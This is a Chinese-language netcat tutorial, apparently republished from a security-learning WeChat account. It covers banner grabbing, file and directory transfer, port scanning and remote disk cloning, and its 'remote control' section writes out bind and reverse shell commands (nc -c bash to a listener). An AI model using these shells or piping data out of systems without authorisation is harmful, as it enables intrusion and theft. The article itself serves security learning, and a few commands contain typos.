首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >网络安全界的“瑞士军刀”--netcat

网络安全界的“瑞士军刀”--netcat

作者头像
网络安全自修室
发布2023-02-26 15:52:50
发布2023-02-26 15:52:50
90900
代码可运行
举报
运行总次数:0
代码可运行

1

免责声明

本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。

2

内容速览

简介

netcat(nc)是一个简单而有用的工具,被誉为网络安全界的“瑞士军刀”,不仅可以通过使用TCP或UDP协议的网络连接读写数据,同时还是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接。

安装

在Kali Linux中,可以使用"nc-help"或者"man nc"命令查看是否已经安装了nc,如果没有安装,则执行如下命令进行安装

代码语言:javascript
代码运行次数:0
运行
复制
 sudo apt install nc.x86_64

也可以先使用wget命令下载安装包,再进行安装,具体如下 下载地址见 http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download

代码语言:javascript
代码运行次数:0
运行
复制
wget  <下载地址>  -0 netcat-0.7.1.tar.gz
tar axvs netcat-0.7.1.tar.gz 
cd netcat-0.7.1
./contigure 
make

编译完成,就会生成 nc 可以执行的文件了,该文件位于 src 目录下,执行"cd"命令,运行/neteat 文件,就可以找到nc了;

Window安装请在文章底部获取下载链接

nc的可以做到的事情

  • 网络工具中的瑞士军刀——小身材,大智慧
  • 侦听模式
  • telnet/获取banner信息
  • 传输文本信息
  • 传输文件/目录
  • 加密传输文件
  • 远程控制/木马
  • 加密所有流量
  • 流媒体服务器
  • 远程克隆硬盘
Banner

Banner信息,欢迎语,在banner信息中可以得到软件开发商,软件名称、版本、服务类型等信息,通过这些信息可以使用某些工具直接去使用相对应的exp去攻击。

前提条件:需要和目标建立链接,只有建立了链接,我们才能获取对应的banner信息

目标服务器上可以对banner进行隐藏或者禁止读取

NC-TELNET/BANNER

-v:显示详细连接相关信息 -n:后面跟ip地址,-n参数指不会进行dns解析,一般我们使用nc直接进行连接,不建议nc后面跟域名。

nc -vn ip 端口如图实例。返回banner信息,我们可以知道163邮箱使用了coremail实现邮件服务

代码语言:javascript
代码运行次数:0
运行
复制
参数: 
-h 帮助信息 
-l 监听模式,用于入站连接 
-n 指定数字的IP地址,不能用hostname 
-u UDP模式
-t TCP模式(默认模式) 
-v 详细输出——用两个-v可得到更详细的内容 
-w secs timeout的时间 
-z 将输入输出关掉——用于扫描时 
其中端口号可以指定一个或者用lo-hi式的指定范围。

代码语言:javascript
代码运行次数:0
运行
复制
#使用 nc 连接 163 邮箱
root@kali:~# ping pop3.163.com
root@kali:~# nc -vn 123.125.50.29 110
    (UNKNOWN) [123.125.50.29] 110 (pop3) open
    +OK Welcome to coremail Mail Pop3 Server (163coms[b62aaa251425b4be4eaec4ab4744cf47s])
USER test@163.com
    -ERR źµŕʺƔފ±²»¿ʓn¿ʄܵŔ­Ӳˇ:źµŕʺŶൎ³¢˔´µŃ݂鬳䚰²ȫ¿¼Ç,ϒćʱО׆źµŕʺŵðop·Ďˈ¨О
    +OK core mail
    # 出现乱码,账号和密码需要 base64 编码

    root@kali:~# base64
    test@163.com【ctrl+d】
    dGVzdEAxNjMuY29tCg==

root@kali:~# nc -vn 123.125.50.29 110
    (UNKNOWN) [123.125.50.29] 110 (pop3) open
    +OK Welcome to coremail Mail Pop3 Server (163coms[b62aaa251425b4be4eaec4ab4744cf47s])
USER dGVzdEAxNjMuY29tCg==
    +OK core mail


root@kali:~# nc -nv 192.168.1.110 25
(UNKNOWN) [192.168.1.110] 25 (smtp) open
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)

//连接80端口
root@kali:~# nc -nv 192.168.1.110 80
    (UNKNOWN) [192.168.1.110] 80 (http) open
head /


1. 传输文本信息

可以作为客户端,也可以作为服务端,如下:a作为服务端监听4444端口,b进行连接

代码语言:javascript
代码运行次数:0
运行
复制
A: root@kali:~# nc -l -p 4444
B: root@metasploitable:~# nc -nv 192.168.1.100 4444
# 可以传递输入的消息

# 电子取证的时候要求被审计的目标尽可能少的被修改硬盘数据,可以使用 nc 进行传递消息



如果想要在B上执行命令,但不想显示在B上,我们可以在服务端A监听一个端口,然后在B上输入命令,通过A的ip和端口输出到服务端A。

代码语言:javascript
代码运行次数:0
运行
复制
A: root@kali:~# nc -l -p 4444
B: root@metasploitable:~# ls -l | nc -nv 192.168.1.100 4444

在服务端A输入nc -l -p 4444 > ps.txt表明监听到的4444端口的信息都输入到ps.txt中,也就是说,在B中输入命令发送到A的ps文件中

代码语言:javascript
代码运行次数:0
运行
复制
root@kali:~# nc -l -p 4444 > ps.txt

加上-q 时间表明命令执行完成后几秒断开连接,可以通过-q来进行判断命令是否执行,否则一直保持连接状态无法判断是否执行

代码语言:javascript
代码运行次数:0
运行
复制
root@metasploitable:~# ps aux | nc -nv 192.168.1.100 -q 1
# -q 1 : 1秒之后断开连接

A: root@kali:~# nc -l -p 4444 > lsof.txt
B: root@metasploitable:~# lsof | nc -nv 192.168.1.100 4444 -q 1

2. 传输文件/目录

在服务端输入A代码,将监听的端口内容输出到2.MP4,在客户端将文件输入到192.168.1.100的4444端口

代码语言:javascript
代码运行次数:0
运行
复制

• 传输文件( B->A )
A:root@kali:~# nc -lp 4444 > 2.mp4
B:root@metasploitable:~# nc -nv 192.168.1.100 4444 &lt; AWVS\ 01.avi -q 1

或(A->B)
A:root@kali:~# nc -q 1 -lp 4444 &lt; 2.mp4 
B:root@metasploitable:~# nc -nv 192.168.1.100 4444 > 3.mp4


3. 传输目录

B加密->A解密

代码语言:javascript
代码运行次数:0
运行
复制
A:root@kali:~# tar zcvf 
- testdir/ | nc -lp 4444 -q 1
B:root@metasploitable:~# nc 192.168.1.100 4444 | tar zxvf -

4. 加密传文件

不是nc里面的功能,是调用了新系统的加密功能,需要安装相应加密工具

代码语言:javascript
代码运行次数:0
运行
复制
A:root@kali:~# nc -lp 4444 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
B:root@metasploitable:~# mcrypt --flush -Fbq -a rijndael-256 -m ecb &lt; a.mp4 | nc -nv 192.168.1.100 333 -q 1

5. 流媒体服务器

B的视频流输入到A,A本地不会还原出文件内容

代码语言:javascript
代码运行次数:0
运行
复制
//将3.mp4重定向到333端口
A:root@metasploitable:~# cat 3.mp4 | nc -lp 333
//客户端连接ip:333端口,接收流,会直接播放
B:root@kali:~# nc -nv 192.168.1.110 | mplayer -vo x11 -cache 3000 -


6. 端口扫描

-z:扫描模式 -nv

代码语言:javascript
代码运行次数:0
运行
复制
root@kali:~# nc -nvz 192.168.1.110 1-65535
root@kali:~# nc -nvz 192.168.1.110 1-1024

7. 远程克隆硬盘

B:作为被取证的电脑

代码语言:javascript
代码运行次数:0
运行
复制
• A:root@kali:~# nc -lp 4444 | dd of=/dev/sda
• B:root@metasploitable:~# dd if=/dev/sda | nc -nv 192.168.1.100 4444 -q 1
• 远程电⼦子取证,可以将目标服务器硬盘远程复制,或者内存。


8.远程控制

代码语言:javascript
代码运行次数:0
运行
复制
• 正向:(B->A)B控制A
如果有人连接A的333端口,A(服务器)就会通过333端口传过去自己的shell
• A:root@kali:~# nc -lp 333 -c bash
• B:root@metasploitable:~# nc -nv 192.168.1.100 333
• 反向:(A->B)
• A:nc -lp 333
• B:nc 1.1.1.1 333 -c bash
• 注:Windows用户把bash改成cmd;


NC缺点

nc缺乏加密和⾝身份验证的能力

  • 打开的端口所有人都可以去连 Ncat包含于nmap⼯工具包中,可以弥补nc的不足
  • ncat管道是加密的,如果有人抓包,里面数据都是被加密的 不同操作系统nc版本可能不同,因此需要查询手册,man 命令
代码语言:javascript
代码运行次数:0
运行
复制
#allow:允许访问的ip
//服务器端A侦听333端口,A把自己的shell交给B
A:root@kali:~# ncat -c bash --allow 192.168.1.110 -vnl 333 --ssl
B:root@metasploitable:~# ncat -nv 192.168.1.100 333 --ssl
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-12-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 简介
  • 安装
  • nc的可以做到的事情
    • Banner
  • NC-TELNET/BANNER
  • 1. 传输文本信息
  • 2. 传输文件/目录
  • 3. 传输目录
  • 4. 加密传文件
  • 5. 流媒体服务器
  • 6. 端口扫描
  • 7. 远程克隆硬盘
  • 8.远程控制
  • NC缺点
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档